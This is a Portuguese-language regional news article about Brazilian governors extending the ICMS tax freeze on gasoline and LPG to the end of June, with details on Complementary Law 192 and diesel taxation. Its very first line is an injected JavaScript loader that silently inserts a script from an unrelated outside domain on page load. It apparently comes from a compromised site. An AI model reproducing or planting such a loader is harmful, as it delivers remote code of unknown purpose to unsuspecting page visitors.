;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Congelamento do ICMS da gasolina é prorrogado até o fim de junho. - Portal Carangola

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Congelamento do ICMS da gasolina é prorrogado até o fim de junho.

A medida valeria até o fim de março, mas foi postergada por mais 90 dias; decisão foi tomada em reunião do Fórum de Governadores nesta terça.

Os governadores decidiram prorrogar o congelamento de ICMS (Imposto sobre a Circulação de Mercadorias e Serviços) sobre a gasolina e o GLP (gás liquefeito de petróleo) até o fim de junho. A medida valeria até o fim de março, mas foi postergada por mais 90 dias.

A decisão foi tomada nesta terça-feira (22) em reunião do Fórum de Governadores e ainda precisa ser formalmente confirmada em reunião do Confaz (Conselho Nacional de Política Fazendária) a ser feita na próxima quinta-feira (24).

Com o congelamento, a base de cálculo do tributo sobre a gasolina continua inalterada desde novembro -quando a medida foi adotada para combustíveis em geral por decisão dos próprios estados. A previsão inicial era que ela valeria até o fim de janeiro.

O Comsefaz (Comitê Nacional dos Secretários de Fazenda dos Estados e do Distrito Federal) afirma que o congelamento levou os estados a reduzirem suas receitas em R$ 3,4 bilhões no período de novembro de 2021 até 15 de fevereiro deste ano.

A nova prorrogação abrange apenas a gasolina e o GLP, enquanto a cobrança sobre o diesel será modificada em outro processo -por consequência de lei já aprovada pelo Congresso e sancionada pelo presidente Jair Bolsonaro (PL) neste mês.

A sistemática da cobrança de ICMS sobre combustíveis usa como base o chamado Preço Médio Ponderado ao Consumidor Final (o PMPF) -valor calculado quinzenalmente a partir de pesquisas feitas pelo estado sobre os valores observados em uma amostra de postos.

Após verificar o PMPF, o estado aplica a ele a alíquota de ICMS em vigor, o que resulta, na prática, em um valor de tributo por litro -que é estendido a todo o estado. Ou seja, um aumento no PMPF costuma elevar a cobrança do ICMS para todos os postos.

A lei complementar 192 altera as regras. Ela foi sancionada integralmente por Bolsonaro em 11 de março e zera as alíquotas de PIS/Cofins sobre diesel e gás até o fim de 2022, além de modificar o ICMS.

Em vez do preço nas bombas, a lei determina que a cobrança de ICMS vai estabelecer um valor fixo por litro. Além disso, a alíquota do imposto será a mesma em todos os estados.

Ao longo das últimas semanas, estados afirmaram que a nova lei poderia até mesmo aumentar o imposto cobrado. Mais recentemente, no entanto, eles sinalizaram que estudavam uma alternativa para evitar a elevação da carga.

A ideia é estabelecer como alíquota única o valor equivalente ao percentual máximo usado pelos estados, hoje em 18% e permitir, em convênio do Confaz, a concessão de benefício fiscal sobre o combustível. Assim, cada estado poderia cobrar valor equivalente à alíquota que cobra atualmente.

O governador do Piauí, Wellington Dias (PT), afirmou nesta terça que os estados ainda discutem quais serão os efeitos da lei e não deu detalhes. Segundo ele, será contestada apenas a constitucionalidade de um trecho da lei sancionada que trata da transição das regras.

A lei determina nesse ponto que, enquanto não disciplinada a incidência do ICMS nos termos da nova lei, a base de cálculo do imposto neste ano será a média móvel dos preços médios praticados nos 60 meses anteriores à sua fixação.

Dias evitou fazer estimativas sobre o ICMS a ser aplicado por litro sobre o diesel, mas técnicos envolvidos nas discussões dizem que ficará próximo de R$ 0,99 -embora os debates ainda continuem e devam ser concluídos ainda nesta semana.

Dias também afirmou que os governadores irão contestar no STF (Supremo Tribunal Federal) o decreto que reduziu em 25% o IPI (Imposto sobre Produtos Industrializados). O impacto para os cofres públicos é de aproximadamente R$ 20 bilhões por ano, sendo metade para a União e outra metade para estados e municípios. (Folhapress)

Fonte: O Tempo

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